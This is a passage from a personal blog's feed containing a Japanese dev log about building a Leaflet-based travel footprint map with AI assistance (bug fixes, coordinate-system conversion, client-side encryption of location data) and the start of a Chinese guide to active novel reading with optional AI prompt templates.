に渡すと、あっという間に6バージョンまで反復した。その過程を表にまとめる。</p><table><thead><tr><th>バージョン</th><th>主な内容</th><th>性質</th></tr></thead><tbody><tr><td>v1</td><td>引き継ぎドキュメントどおりに全機能を実装</td><td>初版</td></tr><tr><td>v2</td><td>外部依存をインライン化し、可用性を高める</td><td>最適化</td></tr><tr><td>v3</td><td>データ構造の調整</td><td>最適化</td></tr><tr><td>v4</td><td>「ポップアップを閉じると再度開けない」を修正</td><td>バグ修正</td></tr><tr><td>v5</td><td>検索ドロップダウンの隠れを修正＋Enter で選択＋OSM&#x2F;Carto のベースマップ</td><td>バグ修正＋派生</td></tr><tr><td>v6</td><td>レイヤーの循環切り替えをドロップダウンに変更＋Esri 衛星ベースマップ</td><td>派生要望</td></tr></tbody></table><p>初版（v1〜v3）は意外なほど順調だった。引き継ぎドキュメントが細かく書かれていたので、AI はほぼ一発で形にし、受け入れチェックリストの大部分がそのまま通った。本当に時間を使ったのは後半の3ラウンドで、これは実際に使ってみてバグを検証・テストし、自分の用途を満たすかを評価する作業だった。</p><h2 id="三、落とし穴の記録"><a href="#三、落とし穴の記録" class="headerlink" title="三、落とし穴の記録"></a>三、落とし穴の記録</h2><h3 id="落とし穴-1：ポップアップを閉じると二度と開かない（v4）"><a href="#落とし穴-1：ポップアップを閉じると二度と開かない（v4）" class="headerlink" title="落とし穴 1：ポップアップを閉じると二度と開かない（v4）"></a>落とし穴 1：ポップアップを閉じると二度と開かない（v4）</h3><p><strong>症状</strong>：地図のピンをクリックすると、ポップアップは正常に出る。右上の ✕ で閉じ、同じピンをもう一度クリックすると、ポップアップがどうしても出てこない。ページを更新すれば、また一度だけ開く。</p><p>このバグはとても紛らわしい。「一度目は開く」＝開く処理は問題ない、「閉じると開かない」＝閉じる操作が何かを汚した、ということだ。私はさまざまな操作で不具合の再現とログの収集を担当し、AI が原因を特定した。<br>AI が掘り当てたのは Leaflet のソースコードのレベルだった。Leaflet の <code>Marker._openPopup</code> の内部にはトグルのロジックがある。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">_openPopup</span>: <span class="keyword">function</span> (<span class="params">t</span>) &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">_map</span>.<span class="title function_">hasLayer</span>(<span class="variable language_">this</span>.<span class="property">_popup</span>)</span><br><span class="line">    ? <span class="variable language_">this</span>.<span class="title function_">closePopup</span>()   <span class="comment">// 開いている → 閉じる（toggle 動作）</span></span><br><span class="line">    : <span class="variable language_">this</span>.<span class="title function_">openPopup</span>(t.<span class="property">latlng</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一方で、私の要件に合わせて AI が独自に書いた click ハンドラと、Leaflet 内部のこのハンドラが<strong>同時にクリックを監視していた</strong>。両者が衝突していたのだ。サードパーティのライブラリを参考にしたことで、自分から厄介ごとを招き入れた形だ。つまり、コピペエンジニアではダメだということ。ははは。</p><h2 id="四、派生要望：使う中で改善する"><a href="#四、派生要望：使う中で改善する" class="headerlink" title="四、派生要望：使う中で改善する"></a>四、派生要望：使う中で改善する</h2><p>この3つの機能は最初の要件ドキュメントにはなく、使っていて痛みを感じたところから出てきたものだ。</p><ol><li><strong>海外のベースマップ</strong>。もともと高徳地図のタイルを使っていたが、国内ならまだしも、海外の地点をマークしようと拡大すると真っ白だ。そこで OSM と Carto の淡色という海外向けベースマップを追加し、さらに Esri 衛星を加えて「国内＋海外、標準＋衛星」の組み合わせが揃った。</li><li><strong>レイヤーのドロップダウン</strong>。ベースマップが2種類から5種類に増えると、元の「循環切り替え」ボタンはひどく間抜けになった——Esri 衛星にしたいだけで4回連打である。ドロップダウンに変更した。</li><li><strong>検索の Enter 確定</strong>。ドロップダウンが隠れる問題を追う中で、自分が無意識に Enter を押して検索を確定していることに気づき、AI に追加してもらった。</li></ol><h2 id="五、プライバシーの検討：いったん保留にした決定"><a href="#五、プライバシーの検討：いったん保留にした決定" class="headerlink" title="五、プライバシーの検討：いったん保留にした決定"></a>五、プライバシーの検討：いったん保留にした決定</h2><p>公開前に一つ思い当たった。このページはログイン不要で、自分が見るには便利だが、<strong>他人にとっても同じように便利に、私の足跡のすべてが見えてしまう</strong>——どこへ行き、いつ行き、何を書いたか。</p><p>私は2つの案で迷っていた。ページにパスワードロックをかけるか、ページは普通に開けるがデータの読み込みに認証をかけるか。しかし AI と議論しても、すぐには良い方法が出なかった。静的ホスティングにバックエンドはなく、<strong>フロントエンドでのパスワード検証など目隠しにすぎない</strong>——ページを迂回して <code>data.json</code> の URL に直接アクセスすれば、平文データはそのままダウンロードできてしまう。</p><p>本当に有効なのは3つ目の案だ。<strong><code>data.json</code> そのものを AES-256-GCM で暗号化し、パスワードは自分の頭の中だけに置く。</strong> ブラウザ側が復号して描画し、エクスポート時は暗号化する。他人がファイルをダウンロードしても、ただの文字化けの山だ。ただ、地図の便利な共有・展示の能力は残しておきたかった。どう両立させるかは、その時点では決めきれなかった。</p><h2 id="六、公開とデプロイ"><a href="#六、公開とデプロイ" class="headerlink" title="六、公開とデプロイ"></a>六、公開とデプロイ</h2><p>デプロイは簡単だ。<code>source/map/</code> フォルダ全体（<code>index.html</code> ＋ <code>data.json</code> ＋ <code>README.md</code>、計3ファイル）を本番リポジトリのディレクトリにコピーし、git push すれば、あとは CNB のクラウドビルドがすべて自動でやってくれる。</p><p>公開後の URL は <code>https://misaka10013.cn/map/</code>。</p><p>プロジェクト全体の技術スタックを最後に一文でまとめると：<strong>Leaflet.js が地図を、marked.js が Markdown 描画を、localStorage が永続化を、素の JS ＋ インライン CSS がすべてのインタラクションを担う。フレームワークなし、バックエンドなし、ビルドなし。</strong></p><h2 id="七、検討事項と-TODO（未来の自分へ）"><a href="#七、検討事項と-TODO（未来の自分へ）" class="headerlink" title="七、検討事項と TODO（未来の自分へ）"></a>七、検討事項と TODO（未来の自分へ）</h2><p>未完の事項をここに記しておく。後でこの記事を見返したとき、次にどこへ進めばいいか分かるように。</p><table><thead><tr><th>事項</th><th>説明</th><th>優先度</th></tr></thead><tbody><tr><td>data.json の暗号化</td><td>AES-256-GCM ＋ PBKDF2。クライアント側で復号して描画。エクスポートも同様に暗号化</td><td>高</td></tr><tr><td>地図ページへの入口</td><td>現状、ナビゲーションにも記事にも &#x2F;map&#x2F; へのリンクはなく、URL 直打ちのみ（ある意味、目立たない）</td><td>低</td></tr></tbody></table><h2 id="あとがき"><a href="#あとがき" class="headerlink" title="あとがき"></a>あとがき</h2><p>プロジェクト全体を振り返ると、私の進め方はこうだ：<strong>元宝が要件の収束とドキュメント産出を、WorkBuddy が実装を、私が実環境でのテストと方向の決定を担う。</strong> 3つの役割のうち、AI が2つを担い、方向を示し品質を評価する部分は私が握っている。</p><hr><h2 id="更新記録（2026-09-23）：公開後の-v7-→-v20"><a href="#更新記録（2026-09-23）：公開後の-v7-→-v20" class="headerlink" title="更新記録（2026-09-23）：公開後の v7 → v20"></a>更新記録（2026-09-23）：公開後の v7 → v20</h2><p>上の記事は v6 の公開で締めくくっている。しかし実際に使ってみて分かったのは、<strong>公開はスタートにすぎない</strong>ということだった。その後の1か月余りで、私は細々と AI と何十回も反復し、細部の問題を片付けていった。今回の更新でその続きを補う。</p><h3 id="v7-〜-v9：実データ投入、3つの落とし穴を連続で"><a href="#v7-〜-v9：実データ投入、3つの落とし穴を連続で" class="headerlink" title="v7 〜 v9：実データ投入、3つの落とし穴を連続で"></a>v7 〜 v9：実データ投入、3つの落とし穴を連続で</h3><p>公開後の最初の作業は、自分の実際の足跡データを入れることだった。流れはこうだ。Google マップの Takeout で KML をエクスポート → スクリプトで Excel に変換（分類は私が目で一遍確認）→ AI にスクリプトを書かせて <code>data.json</code> に一括変換 → 足跡ページへインポート。276 地点、期間は 2018 年から 2019 年まで。</p><p>データが入った途端、問題が3つ同時に噴き出した。</p><table><thead><tr><th>バージョン</th><th>問題</th><th>根本原因</th></tr></thead><tbody><tr><td>v7</td><td>地点名がすべて <code>undefined</code>、編集欄は空</td><td>取り込んだデータは地点名に <code>name</code> フィールドを使っていたのに、ページ側のコードは <code>m.title</code> を読んでいた。AI に修正させた</td></tr><tr><td>v7</td><td>編集を保存するとポップアップの閉じるボタンが効かない</td><td>保存時にマーカーを再生成したが、新しいポップアップにイベントを再バインドしていなかった。AI のバグ</td></tr><tr><td>v8</td><td>地点の時刻を変えたのに、線の連番が変わらない</td><td>日付フォーマットの問題</td></tr><tr><td>v9</td><td>同じ地点が高徳と Esri で数百メートルずれる</td><td>座標系の不一致</td></tr></tbody></table><p>v7 のフィールドのずれ：<strong>データとページのコードがそれぞれ勝手にフィールド名を書いていた</strong>のだ。AI がこういうミスをやらかすとは思わなかった。コードは書けるが、時に初歩的なミスをする。コンテキスト記憶に起因する問題のように見える。テストデータが少ないうちは全く気づけないが、データが増えると一気にバグる。</p><h4 id="落とし穴-4：日付フォーマットの「半分の形式」（v8）"><a href="#落とし穴-4：日付フォーマットの「半分の形式」（v8）" class="headerlink" title="落とし穴 4：日付フォーマットの「半分の形式」（v8）"></a>落とし穴 4：日付フォーマットの「半分の形式」（v8）</h4><p><strong>症状</strong>：ある地点の日付を変えて保存しても、線の連番がびくともしない。JSON をエクスポートして再インポートしても、順序は元のまま。原因はこうだ。</p><ol><li>KML が出力する時刻は <code>&quot;2018-01-01&quot;</code>——日付だけで、時分がない</li><li>一方、HTML ページの <code>&lt;input type=&quot;datetime-local&quot;&gt;</code> は <code>YYYY-MM-DDTHH:MM</code> の完全な形式しか<strong>受け付けない</strong>。<code>&quot;2018-01-01&quot;</code> を渡すと、<strong>エラーも警告も出さず、黙って空欄表示になる</strong></li><li>私は編集ポップアップを開き、時刻欄が空なので「元から入っていない」と思い込み、他の項目を直して保存を押した</li><li>保存ロジックは空の値をそのまま書き戻した——<code>m.time = &#39;&#39;</code>。<strong>時刻は私の手で消された</strong></li><li>線を引く機能には <code>m.time &amp;&amp; m.time !== &#39;&#39;</code> という絞り込み条件があり、時刻が空の地点は線のリストから除外される。つまり「連番が変わらない」のではなく「この地点が並べ替えに参加していない」のだった</li></ol><p><strong>修正</strong>：すべての地点データを走査し、時刻を <code>YYYY-MM-DD 00:00</code> の形式で統一して補完した。</p><h4 id="落とし穴-5：座標系——地図プロジェクトが避けられない一段（v9）"><a href="#落とし穴-5：座標系——地図プロジェクトが避けられない一段（v9）" class="headerlink" title="落とし穴 5：座標系——地図プロジェクトが避けられない一段（v9）"></a>落とし穴 5：座標系——地図プロジェクトが避けられない一段（v9）</h4><p><strong>症状</strong>：国内の地図は解像度が正直いまいちなので、OSM、Carto、Esri といった海外のベースマップを追加した。ところが切り替えてみると、以前 Google の地点で困った問題にまたぶつかった。すべての地点がずれている——国内では数百メートルほど。この問題は、私たちが作っている行政システムでもよく見かける。座標系が違うために、ピンの位置がどうしても合わないのだ。</p><p><strong>根本原因</strong>：国内の地図サービス（高徳、百度、騰訊）は <strong>GCJ-02</strong>（通称・火星座標系。法令により非線形のオフセットが加えられている）を使い、海外のサービス（OSM、Esri、Carto）は <strong>WGS-84</strong> を使う。同じ緯度経度の組でも、2つの座標系では同じ場所を指さない。幸い、どこが何を使ってどれだけずれるかは既知のことなので、解決の道はあった。</p><blockquote><p><strong>GCJ-02 で統一して保存する</strong>（メインで使う国内ベースマップとネイティブに一致する）。描画前に現在のベースマップを判定し、WGS-84 の国際ベースマップなら座標を WGS-84 に逆変換してから置く。逆に、ページ上で地点を追加したり位置を入力したりするときは、表示されている WGS-84 の座標を GCJ-02 に戻してから保存する。</p></blockquote><h3 id="v10-〜-v13：277KB-の単一ファイルを分割する"><a href="#v10-〜-v13：277KB-の単一ファイルを分割する" class="headerlink" title="v10 〜 v13：277KB の単一ファイルを分割する"></a>v10 〜 v13：277KB の単一ファイルを分割する</h3><p>足跡マップのコードがどんどん大きくなっているのに、AI はそれをずっと1つのファイルに入れていた。スタイルも JS もその中にある。バージョンを反復するたびに AI は全ファイルを読むことになり、すぐにコンテキストウィンドウが足りなくなって、AI は目に見えて頭が悪くなった。これはつまり、プロジェクトがもう小さくなく、複雑度が上がったということだ。ならばフレームを分割するしかない。HTML、JS、CSS をすべて分離する。</p><table><thead><tr><th>バージョン</th><th>要望</th><th>結果</th></tr></thead><tbody><tr><td>v10</td><td>地点を時間帯で絞り込む（地点と軌跡を一緒に切る）</td><td>「すべて／直近1年／直近3年／カスタム」を追加。既定は直近1年</td></tr><tr><td>v11</td><td>AI は単一ファイルをもう編集できなくなった</td><td>277KB を <code>index.html</code>(4.7KB) ＋ <code>app.js</code> ＋ <code>style.css</code> に分割</td></tr><tr><td>v12</td><td>200KB 超の app.js をさらに分割・最適化</td><td><strong>78% はサードパーティライブラリ</strong>。それを <code>vendor/</code> に切り出し、AI が自分の書いた主要ロジックを読むたびにライブラリ JS を読まなくて済むように。業務コードは <strong>56.6KB &#x2F; 1634 行</strong>まで減った</td></tr><tr><td>v13</td><td>天地図の Key を取得し、よりクリアな国内衛星図源を追加</td><td>天地図の衛星ベースマップ（影像＋中文注記のオーバーレイ）を追加</td></tr></tbody></table><p>v12 の状況は注目に値する。プロジェクトを続けていくと規模が大きくなり、AI の処理能力を超えやすい。分割と分離は良い方法だ。</p><h3 id="v14-〜-v20：プライバシー対策を「目隠し」から本物の暗号化へ"><a href="#v14-〜-v20：プライバシー対策を「目隠し」から本物の暗号化へ" class="headerlink" title="v14 〜 v20：プライバシー対策を「目隠し」から本物の暗号化へ"></a>v14 〜 v20：プライバシー対策を「目隠し」から本物の暗号化へ</h3><p>これが直近の反復の主軸であり、前述・第五節の「いったん保留にした決定」が最終的に着地する過程でもある。方針は3度変わった。</p><table><thead><tr><th>バージョン</th><th>方針</th><th>却下された理由</th></tr></thead><tbody><tr><td>v14</td><td><strong>ページ全体のロック</strong>：ページに入るのにパスワードが必要</td><td>しかしこの方針では、他人が <code>data.json</code> を直接ダウンロードして見ることは防げない。コンピュータに詳しくない人を止めるだけだ。しかもこの方針では、他人と見せ合う価値のある半公開の地点も見えなくなってしまった</td></tr><tr><td>v15〜v16</td><td><strong>地点レベルの秘匿</strong>：地点に「秘匿かどうか」の属性を付け、ロック解除までは表示しない</td><td>隠すべきものだけを隠す。しかしデータは依然として平文で、<strong>「インターフェースに出さない」だけ</strong>。インターネットを理解している人なら、ページの構造を辿って <code>data.json</code> をダウンロードし、秘匿地点のデータをすべて取得できる</td></tr><tr><td>v19</td><td><strong>本物の暗号化</strong>：公開地点は平文＋秘匿地点は一括で暗号文</td><td>最終的にブレインストーミングで決めた方針</td></tr></tbody></table><h4 id="v19：暗号化の実装"><a href="#v19：暗号化の実装" class="headerlink" title="v19：暗号化の実装"></a>v19：暗号化の実装</h4><p>最後に、この本物の暗号化という方針を実際に作り切った。核心は一文で言える。<strong>他人が <code>data.json</code> をダウンロードしても、ただの文字化けの山だ。</strong></p><ul><li><strong>ハイブリッドな単一ファイル</strong>：公開地点は平文のまま（ページは普通に開き、公開地点も普通に表示される）、秘匿地点は<strong>配列ごと1つの暗号文ブロックに暗号化</strong>する——「秘匿の足跡地点がいくつあるか」すら分からない</li><li><strong>アルゴリズム</strong>：PBKDF2-SHA256 を60万回反復して鍵を導出 → AES-256-GCM（12バイトのランダム iv、128ビットの認証タグ）</li></ul><h3 id="更新後の-TODO（未来の自分へ）"><a href="#更新後の-TODO（未来の自分へ）" class="headerlink" title="更新後の TODO（未来の自分へ）"></a>更新後の TODO（未来の自分へ）</h3><table><thead><tr><th>事項</th><th>状態</th></tr></thead><tbody><tr><td><del>data.json の暗号化</del></td><td>✅ 完了（v19）</td></tr><tr><td><del>地図ページへの入口</del></td><td>✅ 戻るボタンを追加（v17）。記事からのリンクは未対応</td></tr></tbody></table><h3 id="ひとつの感想"><a href="#ひとつの感想" class="headerlink" title="ひとつの感想"></a>ひとつの感想</h3><p>半年前から行政の大型ダッシュボードシステムに携わるようになったころ、自分用の地図を作りたいという思いが芽生えた。</p><p>作り始めたときは、数バージョンで地図はできた。ところが使い続けるうちに、なんと20バージョン近くまで派生して作り直すことになるとは思わなかった。まあ、これも当然ではある。1つのバージョンで自分の要件を書き尽くせることなど、決してない。使う中ではいつも要件の改善とバグ対応が付きまとう。それでも、AI の能力にはやはり驚かされる。この過程では絶えず AI の能力の限界を試していた。AI はつまずきながらも、最後にはどれも形にしてくれた。</p>]]>
    </content>
    <id>https://misaka10013.cn/ja/p/1001394788.html</id>
    <link href="https://misaka10013.cn/ja/p/1001394788.html"/>
    <published>2026-08-19T01:20:00.000Z</published>
    <summary>
      <![CDATA[<p>もう10年以上前から、私は Google マイマップを使っていた。きっかけは Google Earth だ。精細で情報量が多く、「自分が行ったことのある場所を探し出して、記録としてピンを立てる」のにぴったりだと感じた。その後、ブログの「About」ページにマイマップのリンクを貼り、自分のブログ上で足跡を見られるようにした。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure>

<p>だが使ううちに不満も出てきた。まず、Google マップは中国本土ではずっとブロックされていて、足跡を更新するたびに VPN が要る。だから更新の頻度はごく低かった。次に、Google の衛星画像と道路・地点などの情報は中国国内では座標がずれていて、見た目がよくない。ある地点を、衛星画像に合わせて打つのか、街路の位置に合わせて打つのか、いつも迷ってしまう。ここ数年は、百度地図や高徳地図（Amap）のお気に入りに地点を保存するといった方法も細々と試してきた。しかし「自分はどこへ行き、そこで何があったか」を振り返ろうとするたび、データは各アプリに散らばっていて、アプリを開いて探し回るしかない。画面いっぱいの広告やローン勧誘をかき分けながらでは、とにかく遅い。</p>
<p>私が欲しかったものは、実はとてもシンプルだ。<strong>自分だけの地図。ひとつのピンがひとつの記憶で、文章が書けて、画像が貼れて、時間順に線でつながる。そしてデータは永遠に自分の手元にある。</strong></p>
<p>そこで、AI と相談しながら開発したのがこのプロジェクト——Hexo ブログに埋め込む、純フロントエンドの足跡マップだ。この記事では、要件の議論から公開までの流れを、代表的な3つの落とし穴と、未来の自分への TODO とともに記録する。</p>]]>
    </summary>
    <title>御坂の個人足跡マップ：要件定義から AI 開発・公開まで</title>
    <updated>2026-09-24T01:33:17.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="读书笔记" scheme="https://misaka10013.cn/tags/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
    <category term="阅读方法" scheme="https://misaka10013.cn/tags/%E9%98%85%E8%AF%BB%E6%96%B9%E6%B3%95/"/>
    <category term="小说" scheme="https://misaka10013.cn/tags/%E5%B0%8F%E8%AF%B4/"/>
    <content>
      <![CDATA[<p>很多人读小说是「打开就翻，翻完就忘」。读完一本几十万字的书，问自己记住了什么，往往只剩一个模糊的情节梗概。</p><p>问题不在读得太少，而在读得<strong>太被动</strong>。</p><p>这篇文章是我整理的一份「小说阅读操作指南」——从翻开书之前的心理准备，到阅读中的具体动作，再到读完之后的总结输出，把整条流程固定下来。以后每次读小说，都可以照着这份流程走一遍。</p><span id="more"></span><h2 id="一、阅读前的思想准备：先想清楚「为什么读」"><a href="#一、阅读前的思想准备：先想清楚「为什么读」" class="headerlink" title="一、阅读前的思想准备：先想清楚「为什么读」"></a>一、阅读前的思想准备：先想清楚「为什么读」</h2><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你完成读前准备工作（纯可选，不用就跳过）。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">我正在读 [填写书名]，作者是 [填写作者]。我的阅读目的是：[填写你的目的，例如：想训练逻辑推理能力 / 想体验人物的情感挣扎 / 想学习作者的叙事技巧]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了，请基于文本内容，帮我完成以下读前准备工作：</span><br><span class="line"></span><br><span class="line">1. 建立全书地图：概括这本书的整体结构——分为几个部分？叙事视角是什么（如第一人称、第三人称有限视角）？故事大致从哪里开始，最终走向何方？</span><br><span class="line">2. 梳理背景：介绍作者所处的时代背景、创作状态，以及这本书在文学史或类型小说中的地位。如果文本中没有相关信息、你也无法确认，请明确说“无法确认”，不要推测。</span><br><span class="line">3. 提出三个问题：基于我的阅读目的和这本书的实际内容，以“主动阅读者”的身份替我提出 3 个核心问题，用于引导整本书的阅读。要求：问题必须来自书中真实存在的内容或主题，能引导深入思考，而不是简单的剧情预测。</span><br><span class="line"></span><br><span class="line">注意：如果全书文本过长，你只看到了部分内容，请先明确告知，再基于已有内容作答。</span><br></pre></td></tr></table></figure><p>拿起一本书之前，先回答一个问题：<strong>我为什么要读小说？</strong></p><p>很多人觉得这是废话——“因为好看啊”。但把这个问题想深一层，你会发现自己能从小说里拿到的东西远比「好看」多得多：</p><table><thead><tr><th>层面</th><th>收获</th></tr></thead><tbody><tr><td><strong>认知</strong></td><td>理解复杂人性与社会结构。小说本质上是「人类处境的模拟器」，用最低成本体验最多样的人生样本</td></tr><tr><td><strong>情感</strong></td><td>安全的共情练习。体验他人的痛苦与喜悦，增强现实中的同理心</td></tr><tr><td><strong>思维</strong></td><td>训练叙事逻辑、因果推理、多角度思考能力（推理小说尤其明显）</td></tr><tr><td><strong>审美</strong></td><td>感受语言之美，积累表达力与语感</td></tr><tr><td><strong>自我</strong></td><td>通过角色的困境照见自己，获得心理疗愈与成长参照</td></tr></tbody></table><p>想清楚「为什么读」，你的阅读目标就有了方向：想训练逻辑就读推理，想获得共情就读人物群像，想提升表达就注意语言细节。</p><h2 id="二、翻开之前：明确要从这本小说中获得什么"><a href="#二、翻开之前：明确要从这本小说中获得什么" class="headerlink" title="二、翻开之前：明确要从这本小说中获得什么"></a>二、翻开之前：明确要从这本小说中获得什么</h2><p>这是很多人最容易跳过、但回报最高的一步。<strong>不要直接翻正文，先花十分钟做三件事：</strong></p><h3 id="1-建立全书地图"><a href="#1-建立全书地图" class="headerlink" title="1. 建立全书地图"></a>1. 建立全书地图</h3><p>先看目录、序言、作者简介，快速浏览全书结构。搞清楚：这本书分几部分？叙事视角是什么？故事大概从哪里开始、走向哪里？</p><p>这一步不是剧透，而是给你的大脑装一张「地图」——带着地图进书里，你不会迷路，还能在阅读中随时感知「现在走到哪了」。</p><h3 id="2-了解背景"><a href="#2-了解背景" class="headerlink" title="2. 了解背景"></a>2. 了解背景</h3><p>作者所处的时代、写作背景、这本书在文学史上的位置。了解了这些，很多情节和隐喻才有了理解的坐标。</p><h3 id="3-写下三个问题"><a href="#3-写下三个问题" class="headerlink" title="3. 写下三个问题"></a>3. 写下三个问题</h3><p>在阅读前写下 <strong>3 个你想从这本书里得到答案的问题</strong>。比如：</p><ul><li>这本书的主角究竟是一个怎样的人？</li><li>作者想通过这个故事表达什么？</li><li>这本书为什么被称为经典&#x2F;为什么口碑两极分化？</li></ul><p>这三个问题是你整本书的「锚」。读完合上书时，回来检验：这三个问题被解答了吗？如果被解答了，答案是什么？</p><h2 id="三、阅读中：主动阅读的操作流程"><a href="#三、阅读中：主动阅读的操作流程" class="headerlink" title="三、阅读中：主动阅读的操作流程"></a>三、阅读中：主动阅读的操作流程</h2><p>带着问题和地图开始读。阅读中始终保持一个动作：<strong>主动提问，别被动接受</strong>。</p><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你做阶段性整理（纯可选，不用就跳过）。<strong>注意：当前进度一定要填</strong>——它决定了 AI 只回答你读过的部分，防止被剧透。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">我正在阅读 [填写书名]，目前读到了 [填写章节名或进度，如：第5章 / 故事的前三分之一处]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了。请帮我完成以下两项工作：</span><br><span class="line"></span><br><span class="line">1. 梳理人物关系网络：只基于“截止到 [当前进度]”已出现的内容，列出到目前为止的主要人物，并用简洁的语言描述他们之间的关系（如：盟友、敌对、暗恋、利益纠葛等）。如果能用文字画出关系图更好。</span><br><span class="line">2. 追踪角色成长轨迹：聚焦于主角 [填写主角名字]，只基于“截止到 [当前进度]”已出现的内容，分析他/她在这个阶段经历了什么关键事件？心态、性格或目标发生了哪些变化？与故事开始时相比有什么不同？</span><br><span class="line"></span><br><span class="line">重要：我只读到 [当前进度]，请严格基于我已读的部分作答——不要引用、不要暗示我尚未读到的情节，不要剧透。</span><br></pre></td></tr></table></figure><h3 id="1-边读边提问"><a href="#1-边读边提问" class="headerlink" title="1. 边读边提问"></a>1. 边读边提问</h3><p>看到任何疑惑——人物动机、伏笔、隐喻、看不懂的设定——立刻停下来想一想，而不是滑过去。疑惑是阅读最有价值的东西，它是你理解力的抓手。</p><p>如果身边有 AI 工具（比如带 RAG 检索的阅读助手），可以随时把疑问抛给它，让它检索原文出处并解释。但即使没有 AI，你也可以把问题记在书页空白处，或记在笔记里，带着疑问继续读——很多疑问会在后面自己解开，这本身就是一种阅读乐趣。</p><h3 id="2-边读边记"><a href="#2-边读边记" class="headerlink" title="2. 边读边记"></a>2. 边读边记</h3><p><strong>让笔记贯穿全程，而不是留到最后。</strong> 划线、写批注、记下此刻的感受和联想。</p><p>具体可以记什么：</p><ul><li>让你心头一动的句子（划线即可）</li><li>你对某个角色的第一印象（和最后的印象对比会很有趣）</li><li>猜到的伏笔和后续发展（打脸和猜中都是乐趣）</li><li>产生共鸣或抵触的段落（这是自我认知的入口）</li></ul><h3 id="3-使用适合的阅读方法"><a href="#3-使用适合的阅读方法" class="headerlink" title="3. 使用适合的阅读方法"></a>3. 使用适合的阅读方法</h3><p><strong>主动阅读法（SQ3R 变体）</strong>，适合大多数小说：</p><ol><li><strong>浏览</strong>（Survey）→ 先看目录和全书结构</li><li><strong>提问</strong>（Question）→ 读前写 3 个想知道答案的问题</li><li><strong>精读</strong>（Read）→ 边读边标注、边记疑问</li><li><strong>复述</strong>（Recite）→ 每章读完，用自己的话复述一遍</li><li><strong>回顾</strong>（Review）→ 全书读完做总结，检验当初的问题是否被解答</li></ol><p><strong>三遍读法</strong>，适合经典作品和推理小说：</p><ul><li>第一遍：享受情节，不打断，完整体验故事的爽感</li><li>第二遍：带着问题精读，追伏笔、查概念、看细节</li><li>第三遍：跳读重点章节，做结构分析，看作者是怎么「搭房子」的</li></ul><p><strong>费曼输出法</strong>，任何书都适用：</p><ul><li>读完每章，问自己：「如果我要向朋友讲这本书，我会怎么说？」</li><li>能讲清楚，就是真读懂了；讲不清楚，说明有地方还没消化，回去重读那一段</li></ul><h3 id="4-特殊类型小说的针对性策略"><a href="#4-特殊类型小说的针对性策略" class="headerlink" title="4. 特殊类型小说的针对性策略"></a>4. 特殊类型小说的针对性策略</h3><ul><li><strong>推理小说</strong>：重点关注人物关系网（人物多、关系复杂），可以单独画一张关系图；追踪线索与伏笔的出现轨迹；读到中段试着梳理案件的逻辑链条</li><li><strong>长篇小说</strong>：跨章节追踪某个角色或某个伏笔的成长轨迹，这是纸质书很难做到、但非常值得做的事</li><li><strong>经典文学</strong>：注意语言与结构，思考作者为什么这样安排叙事</li></ul><h2 id="四、阅读后：总结与输出"><a href="#四、阅读后：总结与输出" class="headerlink" title="四、阅读后：总结与输出"></a>四、阅读后：总结与输出</h2><p>合上书，阅读只完成了一半。<strong>后半段是「输出」，逼自己输出才能真正消化。</strong></p><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你完成全书总结（纯可选，不用就跳过）。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">我已经读完了 [填写书名]。我的阅读目的是：[填写你最初的目的]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了，请基于文本内容，帮我完成最终的总结与输出：</span><br><span class="line"></span><br><span class="line">1. 检验问题：逐一回答读前提到的 3 个核心问题，并说明答案是什么。</span><br><span class="line">2. 全书总结：用你自己的话完整总结这个故事——主线与副线如何交织？核心冲突是什么？结局如何收束？</span><br><span class="line">3. 寻找三种共鸣：根据书中的人物，找出“像我的角色”（我在谁身上看到了自己）、“我想成为的角色”（谁活成了我想要的样子）、“我害怕成为的角色”（谁的结局是我最不想面对的）。</span><br><span class="line">4. 整理金句：从全书文本中挑选 3-5 句最能代表本书精神内核或最令人震撼的句子。要求：必须是书中真实存在的原文，并逐句标注出自哪个章节或大致位置，方便我回查核对。</span><br><span class="line">5. 输出脚本——如何把这本书讲给别人听：写一份简短的“安利脚本”：一句话钩子（用吸引人的问题或观点开场）；核心故事（2-3 